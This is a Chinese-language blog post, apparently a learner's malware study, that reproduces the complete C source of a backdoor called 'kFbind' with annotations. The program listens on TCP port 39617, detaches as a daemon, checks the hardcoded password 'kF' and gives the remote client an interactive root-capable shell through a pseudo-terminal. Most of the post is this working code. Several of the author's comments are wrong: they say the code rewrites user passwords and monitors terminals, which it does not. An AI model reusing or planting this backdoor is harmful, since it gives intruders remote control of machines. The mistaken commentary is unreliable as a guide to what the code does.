Came.c型病毒在这里主要修改了用户的密码，同时对用户的终端设备进行了监视。希望与大家共同交流
转载请注明出处：http://blog.csdn.net/u010484477 O(∩_∩)O谢谢
#define HOME "/"
#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x1d
#define PORT 39617
#define BUF 32768
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>
struct winsize {
unsigned short ws_row;
unsigned short ws_col;
unsigned short ws_xpixel;
unsigned short ws_ypixel;
};
/* passwd protection by KillFinger oF SecretColony */
int sc;
char passwd[] = "kF";
char motd[] ="=- SecretColony Lab N Research Project -=\n";
//**************************************************************************************病毒的恶意部分***********************************************************
void kf_shell()
{
char buffer[150];
write(sc, "passwd ", 7); //用户在屏幕输入“passwd”，会让用户输入密码，同时系统也会输出相应的东西（刚开始一直没有看懂这个是什么意思？sc根本没有空间，后来直接在我的CentOs上输入了passwd，一下子系统就返回了change usr：，于是想到了，原来这句话是这个用途，感觉只看不自己去做有些东西是很难看出来的，至少对我来说是这样
）
read(sc, buffer, sizeof(buffer));
if (!strncmp(buffer, passwd, strlen(passwd))) //比较这个系统返回的话中是否有 has "kF"（我上网查了一下，网上很多都说kf是游戏服务器）
{
write(sc, motd, sizeof(motd)); //改写密码
}
else
{
write(sc, "DiE!!!\n", 7); //不能操作了
close(sc); exit(0);
}
}
//**********************************************************************************************************************************************************************
/* creates tty/pty name by index */
void get_tty(int num, char *base, char *buf)
{
char series[] = "pqrstuvwxyzabcde";
char subs[] = "0123456789abcdef";
int pos = strlen(base); //base is tty/pty name
strcpy(buf, base); //pos is name's length
buf[pos] = series[(num >> 4) & 0xF];
buf[pos+1] = subs[num & 0xF];
buf[pos+2] = 0;
}
/* search for free pty and open it */
int open_tty(int *tty, int *pty)
{
char buf[512];
int i, fd;
fd = open("/dev/ptmx", O_RDWR); //write and read open it
close(fd);
for (i=0; i < 256; i++)
{
get_tty(i, "/dev/pty", buf); //buf has a path "/dev/pty/XXXX"
*pty = open(buf, O_RDWR);
if (*pty < 0)
continue;
get_tty(i, "/dev/tty", buf); //buf has a path "/dev/tty/XXXX"
*tty = open(buf, O_RDWR);
if (*tty < 0)
{
close(*pty);
continue;
}
return 1;
}
return 0;
}
/* to avoid creating zombies 
*/
void sig_child(int i)
{
signal(SIGCHLD, sig_child); //when process stop ,begin sig_child function
waitpid(-1, NULL, WNOHANG); //suspend process temp
}
void hangout(int i)
{
kill(0, SIGHUP);
kill(0, SIGTERM); //终止与当前进程组内的所有进程
}
//调用
int main()
{
int pid;
struct sockaddr_in serv;
struct sockaddr_in cli;
//struct sockaddr_in
{
//shortsin_family; /*Addressfamily一般来说AF_INET（地址族）PF_INET（协议族）*/
//unsignedshortsin_port; /*Portnumber(必须要采用网络数据格式,普通数字可以用htons()函数转换成网络数据格式的数字)*/
//structin_addrsin_addr; /*Internetaddress*/
//unsignedcharsin_zero[8]; /*Samesizeasstructsockaddr没有实际意义,只是为了跟SOCKADDR结构在内存中对齐*/
// };
int sock;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0)
{
perror("socket");
return 1;
}
bzero((char *) &serv, sizeof(serv)); //make sizeof(serv) bytes as zero
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(PORT);
if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) //将套接字绑定到一个已知的地址上。
{
perror("bind");
return 1;
}
if (listen(sock, 5) < 0)
{
perror("listen");
return 1;
}
printf("kFbind is starting...");
fflush(stdout); //刷新标准输出缓冲区，把输出缓冲区里的东西打印到标准输出设备上
pid = fork(); //create a child process,give child process id
if (pid !=0 ) //it's a father process
{
printf("OK, pid = %d\n", pid);
printf("Enj0y y0uR d00r by SecretColony\n");
return 0;
}
/* daemonize */
setsid(); //当前进程会成为新会话的领头进程，同时与控制终端脱离
chdir("/"); //改变当前工作目录位"/"
pid = open("/dev/null", O_RDWR); //开启无底洞
dup2(pid, 0); //copy file handle
dup2(pid, 1);
dup2(pid, 2);
close(pid);
signal(SIGHUP, SIG_IGN); //发送给具有Terminal的Controlling Process，当terminal被disconnect时候发送
signal(SIGCHLD, sig_child); //when process stop ,begin sig_child function
while (1)
{
int scli;
int slen;
slen = sizeof(cli);
scli = accept(sock, (struct sockaddr *) &cli, &slen); //从连接请求队列中获得连接信息，
//创建新的套接字，并返回该套接字的文件描述符。新创建的套接字用于服务器与客户机的通信，而原来的套接字仍然处于监听状态。
if (scli < 0)
continue;
pid = fork(); //create a child process,give child process id
if (pid == 0) //it's child process
{
int subshell;
int tty;
int pty;
fd_set fds;
char buf[BUF];
char *argv[] = {"sh", "-i", NULL};
#define MAXENV 256
#define ENVLEN 256
char *envp[MAXENV];
char envbuf[(MAXENV+2) * ENVLEN];
int j, i;
char home[256];
/* setup enviroment */
envp[0] = home;
sprintf(home, "HOME=%s", "/");
j = 0;
do {
i = read(scli, &envbuf[j * ENVLEN], ENVLEN);
envp[j+1] = &envbuf[j * ENVLEN];
j++;
if ((j >= MAXENV) || (i < ENVLEN))
break;
} while (envbuf[(j-1) * ENVLEN] != '\n'); //直到读到回车为止
envp[j+1] = NULL;
/* create new group */
setpgid(0, 0); //目前进程ID将用作进程组ID
/* open slave & master side of tty */
if (!open_tty(&tty, &pty))
{
char msg[] = "Can't fork pty, bye!\n"; //还在这幽默呢
write(scli, msg, strlen(msg));
close(scli);
exit(0);
}
/* fork child */
subshell = fork();
if (subshell == 0)
{
/* close master */
close(pty);
/* attach tty */
setsid(); //进程与控制终端脱离
ioctl(tty, TIOCSCTTY); //可向设备发送控制和配置命令
/* close local part of connection */
close(scli);
close(sock);
signal(SIGHUP, SIG_DFL); //发送给具有Terminal的Controlling Process，当terminal被disconnect时候发送
//SIG_DFL 这个符号表示恢复系统对信号的默认处理
signal(SIGCHLD, SIG_DFL); //when process stop
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
close(tty);
kf_shell();
execve("/bin/sh", argv, envp);
//execve()用来执行参数filename字符串所代表的文件路径，
//第二个参数是利用数组指针来传递给执行文件，并且需要以空指针(NULL)结束，
//最后一个参数则为传递给执行文件的新环境变量数组。
//就像上面那样
//char *argv[] = {"sh", "-i", NULL};
//envp包含scli的东西
//scli = accept(sock, (struct sockaddr *) &cli, &slen); //从连接请求队列中获得连接信息，
}
/* close slave */
close(tty);
signal(SIGHUP, hangout);
signal(SIGTERM, hangout); //发送终止信号时启用handout
while (1)
{
/* watch tty and client side */
FD_ZERO(&fds); //初始化套接字
FD_SET(pty, &fds); //将pty加入fds集合
FD_SET(scli, &fds); //将scli加入fds集合
if (select((pty > scli) ? (pty+1) : (scli+1),
&fds, NULL, NULL, NULL) < 0)
{
break;
}
if (FD_ISSET(pty, &fds)) //检查在select函数返回后，某个描述符是否准备好，以便进行接下来的处理操作。
{
int count;
count = read(pty, buf, BUF);
if (count <= 0)
break;
if (write(scli, buf, count) <= 0)//从pty里面读出来放入到Scli中
break;
}
if (FD_ISSET(scli, &fds))
{
int count;
unsigned char *p, *d;
d = buf;
count = read(scli, buf, BUF);
if (count <= 0)
break;
/* setup win size */
p = memchr(buf, ECHAR, count); //从buf所指内存区域的前count个字节查找字符ECHAR。
if (p)
{
unsigned char wb[5];
int rlen = count - ((ulong)p - (ulong)buf);
struct winsize ws;
/* wait for rest */
if (rlen > 5)
rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5)
{
read(scli, &wb[rlen], 5 - rlen);
}
/* setup window */
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
//可向设备发送控制和配置指令了
kill(0, SIGWINCH);
/* write the rest */
write(pty, buf, (ulong) p - (ulong) buf);
rlen = ((ulong) buf + count) - ((ulong)p+5);
if (rlen > 0)
write(pty, p+5, rlen);
}
else if (write(pty, d, count) <= 0)
break;
}
}
close(scli);
close(sock);
close(pty);
waitpid(subshell, NULL, 0); //暂时停止目前进程的执行，直到有信号来到或子进程结束。
vhangup(); //将当前进程挂起
exit(0);
}
close(scli);
}
}
分析了一段时间的病毒样本，感觉不同的病毒就是一种新的思路，自己需要学习的还有很多很多。。。
最后是自己喜欢的一句话：
If you don't fight for what you love, don't cry for what you lose.
如果你不为你的所爱奋斗，那就别为你的失去而哭泣